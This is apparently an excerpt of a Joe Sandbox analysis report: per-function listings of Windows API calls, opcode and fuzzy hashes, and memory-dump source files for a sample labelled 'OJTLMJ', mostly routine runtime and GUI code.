Instruction ID: c020d02420224b31967890830c55be79e54dac8d2e8ceb7b225d12711d352417
Opcode Fuzzy Hash: 44e9006019cb1254206dfcb470b58a274d92d53a736d15aec8cbcf1b62e3d7ae
Instruction Fuzzy Hash: FE11BE3A100306AFCB15BF34CC55E7A77A9FF45350B44802AF80ACB260EB3199468BB0

Function 00D73D46 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D73D65

Part of subcall function 00D645EC: __FF_MSGBANNER.LIBCMT ref: 00D64603
Part of subcall function 00D645EC: __NMSG_WRITE.LIBCMT ref: 00D6460A
Part of subcall function 00D645EC: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,?,?,?,?,00D60127,?,00D4125D,00000058,?,?), ref: 00D6462F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 5940a257824da5c2bce2cf02b933e6df61d659839101710c8f23859db3e2b886
Instruction ID: c4874c28db8edfce454d2c89ebed5bd3b7195097dde29cb88432023ae8baf11a
Opcode Fuzzy Hash: 5940a257824da5c2bce2cf02b933e6df61d659839101710c8f23859db3e2b886
Instruction Fuzzy Hash: 6A11A332501616AFDB313F74AC057AA3B98FF50360F548525F94D9B191EF34CA40A6B1

Function 00D41E58 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D41E87

Part of subcall function 00D438E4: _memset.LIBCMT ref: 00D43965
Part of subcall function 00D438E4: _wcscpy.LIBCMT ref: 00D439B5
Part of subcall function 00D438E4: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00D439C6

KillTimer.USER32(?,00000001), ref: 00D41EDC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D41EEB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00DB4526

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 58605c390f9a99a802164769e5a1cc9d95c0cb0dd0de156c8ed0ed9c4b73f186
Instruction ID: 6f26a6438f3a3743b0550c816c4778395a4cdec023a7864ac2f78cde3ada2c93
Opcode Fuzzy Hash: 58605c390f9a99a802164769e5a1cc9d95c0cb0dd0de156c8ed0ed9c4b73f186
Instruction Fuzzy Hash: 19219575544784AFEB32CB248C55FEBBBEC9B41308F08009DE69E96242C7755A85CB71

Function 00D8713C Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00D8715C
_memset.LIBCMT ref: 00D8717D
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00D871CF
CloseHandle.KERNEL32(00000000), ref: 00D871D8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: f68d4bd1c5e26c0119275fab3ad807e3720fe85789b406f15ab1547f06014323
Instruction ID: 5bd1a0d84eea27e6c9e1cf095823b5589d6d8c1abcf1f32dc0e0ab06b823967e
Opcode Fuzzy Hash: f68d4bd1c5e26c0119275fab3ad807e3720fe85789b406f15ab1547f06014323
Instruction Fuzzy Hash: 4911CA769013287AD7206B65AC4DFEBBA7CEF45760F1441AAF504E72D0D2748E808BB4

Function 00D813D1 Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00D813EE
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00D81409
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00D8141F
FreeLibrary.KERNEL32(?), ref: 00D81474

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 1372f78b80108a125fe4d39b5dbf91376a4f58447e739f4d9dbfaa8e5acc7c2d
Instruction ID: 94875faa1c3b0a5a273b9d969cf012f7a7400ba294f643b5000633e28012ba78
Opcode Fuzzy Hash: 1372f78b80108a125fe4d39b5dbf91376a4f58447e739f4d9dbfaa8e5acc7c2d
Instruction Fuzzy Hash: D7217F7950030AABDB20AF95DC88EDABBBCEF00744F008569E55297150D774EA4ADF71

Function 00D7BF5B Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7B78E: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00D7B7A5
Part of subcall function 00D7B78E: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00D7B7AF
Part of subcall function 00D7B78E: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00D7B7BE
Part of subcall function 00D7B78E: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00D7B7C5
Part of subcall function 00D7B78E: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00D7B7DB

GetLengthSid.ADVAPI32(?,00000000,00D7BB10,?,?), ref: 00D7BFAA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00D7BFB6
HeapAlloc.KERNEL32(00000000), ref: 00D7BFBD
CopySid.ADVAPI32(?,00000000,?), ref: 00D7BFD6

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
String ID:
API String ID: 4217664535-0
Opcode ID: d90c24a010f1a8065d90ee4ba9d8d9c894e9e9715f5ac4cf862f9dd71a96c0ab
Instruction ID: f1ab2c055705f922a8d49e10481eb1de8a7f05bbfdf0c2f52647e3ad69cb9547
Opcode Fuzzy Hash: d90c24a010f1a8065d90ee4ba9d8d9c894e9e9715f5ac4cf862f9dd71a96c0ab
Instruction Fuzzy Hash: 0B115175600206BFDB149F98DC85EBEF7A9EF45724B18842EE846D7210E732AE45DB30

Function 00D992C0 Relevance: 6.1, APIs: 4, Instructions: 60networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00D8AEA5,?,?,00000000,00000008), ref: 00D5F282
Part of subcall function 00D5F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00D8AEA5,?,?,00000000,00000008), ref: 00D5F2A6

gethostbyname.WSOCK32(?,?,?), ref: 00D992F0
WSAGetLastError.WSOCK32(00000000), ref: 00D992FB
_memmove.LIBCMT ref: 00D99328
inet_ntoa.WSOCK32(?), ref: 00D99333

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 6ddfefaaa2d943ec0978b6037a6f92950757f930815f5c1a5d95e0e3fc2229af
Instruction ID: d4c385f98c01d94230e1b1298cbce92d473e57bacfcfb72fa41ff9bd571dfd6f
Opcode Fuzzy Hash: 6ddfefaaa2d943ec0978b6037a6f92950757f930815f5c1a5d95e0e3fc2229af
Instruction Fuzzy Hash: 77112B7660010AAFCF04FBA4CD56CAEB7BAEF04311B144065F506E72A2DB30AE04DBB1

Function 00D7C265 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00D7C285
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D7C297
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D7C2AD
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D7C2C8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 2a7ea6926cb258c5818e8c973281d8299b02a07ac3e539a3b0f92411eb9d1f66
Instruction ID: 670b461831660beefedc7951a3ab05281b1d03989f034743d564f15d3336876f
Opcode Fuzzy Hash: 2a7ea6926cb258c5818e8c973281d8299b02a07ac3e539a3b0f92411eb9d1f66
Instruction Fuzzy Hash: 1A112A7A941218FFDB11DFE8CC85E9DBBB4FB08710F204095EA04B7294E671AE10DBA4

Function 00D87C45 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D87C6C
MessageBoxW.USER32(?,?,?,?), ref: 00D87C9F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00D87CB5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00D87CBC

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 72429cba2d101bcb06ab13e1ebd6bd2720227a14a379226942a23d743a425fb7
Instruction ID: 0b7043e48fdec7652d1a2ca83d4aa8315ea9909e9e6a58693d4d03ef2f21e975
Opcode Fuzzy Hash: 72429cba2d101bcb06ab13e1ebd6bd2720227a14a379226942a23d743a425fb7
Instruction Fuzzy Hash: 86110472A04305BFC702ABB9DC08EAA7FAE9B44325F184225F865E3391D771C94887B0

Function 00D5C619 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D5C657
GetStockObject.GDI32(00000011), ref: 00D5C66B
SendMessageW.USER32(00000000,00000030,00000000), ref: 00D5C675

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: f734c92e00be7805403fd70ff93293b090dec131d6ba52f69417ec340ba88f46
Instruction ID: 7295b5c0b7bec2dbd63dce2a91b570c7d36e58b6a68ced82f8b3a170f2d8a4ef
Opcode Fuzzy Hash: f734c92e00be7805403fd70ff93293b090dec131d6ba52f69417ec340ba88f46
Instruction Fuzzy Hash: 1F11A17251174ABFDF114FA09C44EEA7B69EF08355F095111FE0492120C732DD60DBB1

Function 00DAFF04 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

DefDlgProcW.USER32(?,00000020,?,?,?,?), ref: 00DAFF85

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

GetClientRect.USER32(?,?), ref: 00DAFF2F
GetCursorPos.USER32(?), ref: 00DAFF39
ScreenToClient.USER32(?,?), ref: 00DAFF44

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 80f51311cd556861881fd6a3397d6aada9254f31cfde5aebae084306c20316f2
Instruction ID: 4ed91c6ac506b3c23c1db6ee3d29eb9bf23cba66642739c87b07942fc396df38
Opcode Fuzzy Hash: 80f51311cd556861881fd6a3397d6aada9254f31cfde5aebae084306c20316f2
Instruction Fuzzy Hash: 0111C83550011AAFDF049FA8DC858AE77B9FF06301B1444A5F952E6151E730EA8A8BB1

Function 00D849D1 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00D8354D,?,00D845D5,?,00008000), ref: 00D849EE
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00D8354D,?,00D845D5,?,00008000), ref: 00D84A13
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00D8354D,?,00D845D5,?,00008000), ref: 00D84A1D
Sleep.KERNEL32(?,?,?,?,?,?,?,00D8354D,?,00D845D5,?,00008000), ref: 00D84A50

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: d3c6ec7d434d42afdb308e461fb9a42ba9a2f31b2c328139dba2bbff0459543d
Instruction ID: 17f25f9d40bbb460a9b2f2f08db385e9f0d126466b2aef321ea9aebd86c0f8ff
Opcode Fuzzy Hash: d3c6ec7d434d42afdb308e461fb9a42ba9a2f31b2c328139dba2bbff0459543d
Instruction Fuzzy Hash: D7115A31D4061ADBCF04AFE5DA88AEEBB78FF08705F054059E941BA240CB309650CBB9

Function 00D75BA2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00D75BC6

Part of subcall function 00D762A5: __fltout2.LIBCMT ref: 00D762CE

__cftog_l.LIBCMT ref: 00D75BEC
__cftoe_l.LIBCMT ref: 00D75C1E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 666b1dc6f024782fbf4a7696f715ba12f597dcc2bd7e2c5719b6c8c51d6d2b53
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: EC014E3200064EBBCF125E84EC41DEE3F62FB18350B588515FE1C59035E276C9B1ABA2

Function 00D680E2 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D6869D: __getptd_noexit.LIBCMT ref: 00D6869E

__lock.LIBCMT ref: 00D6811F
InterlockedDecrement.KERNEL32(?), ref: 00D6813C
_free.LIBCMT ref: 00D6814F
InterlockedIncrement.KERNEL32(013D39E0), ref: 00D68167

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: cf7199c04679160b7c1084acc4c96aca3b1f1b9f6f557de72458566473f4a217
Instruction ID: 9994436c63fbe107fde06ff0bf869a9cf51d311af4a8ba57659ea84915f84731
Opcode Fuzzy Hash: cf7199c04679160b7c1084acc4c96aca3b1f1b9f6f557de72458566473f4a217
Instruction Fuzzy Hash: F4019271901B129BCB12AF68D8067AD73A0FF06715F094219F418A7791CF389942EFF2

Function 00DADDEE Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00DADE07
ScreenToClient.USER32(?,?), ref: 00DADE1F
ScreenToClient.USER32(?,?), ref: 00DADE43
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00DADE5E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: c99b70e2342093db733de5835870ecf95c4f8577baa8d4fcfced655960489ba5
Instruction ID: 6a5162820610e916777d334d11b09337e8b95151461a1ab030a697a8370ac7c9
Opcode Fuzzy Hash: c99b70e2342093db733de5835870ecf95c4f8577baa8d4fcfced655960489ba5
Instruction Fuzzy Hash: 7A11EFB9D0020EAFDB41DF99D8849EEBBF9FB08210F108166E955E3310E735AA55CF60

Function 00D68724 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00D68768

Part of subcall function 00D68984: __mtinitlocknum.LIBCMT ref: 00D68996
Part of subcall function 00D68984: EnterCriticalSection.KERNEL32(00D60127,?,00D6876D,0000000D), ref: 00D689AF

InterlockedIncrement.KERNEL32(DC840F00), ref: 00D68775
__lock.LIBCMT ref: 00D68789
___addlocaleref.LIBCMT ref: 00D687A7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID:
API String ID: 1687444384-0
Opcode ID: 703e49a343ee55a83da76486c010bc5a0973cc4cfafcc418ecf80f3b6f1f4445
Instruction ID: 4f4e8ef5fa05de6d874ef80075084d90c6b28f4598911f1af2d2c3cfc7b14459
Opcode Fuzzy Hash: 703e49a343ee55a83da76486c010bc5a0973cc4cfafcc418ecf80f3b6f1f4445
Instruction Fuzzy Hash: 01016DB1401B05AFD720EF75D806759B7E0EF44329F208A0EE09A877A0CB70A644DF31

Function 00D89C73 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00D89C7F

Part of subcall function 00D8AD14: _memset.LIBCMT ref: 00D8AD49

_memmove.LIBCMT ref: 00D89CA2
_memset.LIBCMT ref: 00D89CAF
LeaveCriticalSection.KERNEL32(?), ref: 00D89CBF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: b0df84d3fbb95d0a4b92c50fc03e4f2834030d3098b7acdfd1be8e8db97c3b22
Instruction ID: 60d6c7bc187cde04e9edf4af389316ef151974106cf61f6c11d23129ccf833cf
Opcode Fuzzy Hash: b0df84d3fbb95d0a4b92c50fc03e4f2834030d3098b7acdfd1be8e8db97c3b22
Instruction Fuzzy Hash: 80F0307A200100ABCF016F54DC85E49BB29EF45321B08C062FE089E217C731A811DBB5

Function 00DAE83C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00D5B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00D5B5EB
Part of subcall function 00D5B58B: SelectObject.GDI32(?,00000000), ref: 00D5B5FA
Part of subcall function 00D5B58B: BeginPath.GDI32(?), ref: 00D5B611
Part of subcall function 00D5B58B: SelectObject.GDI32(?,00000000), ref: 00D5B63B

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00DAE860
LineTo.GDI32(00000000,?,?), ref: 00DAE86D
EndPath.GDI32(00000000), ref: 00DAE87D
StrokePath.GDI32(00000000), ref: 00DAE88B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
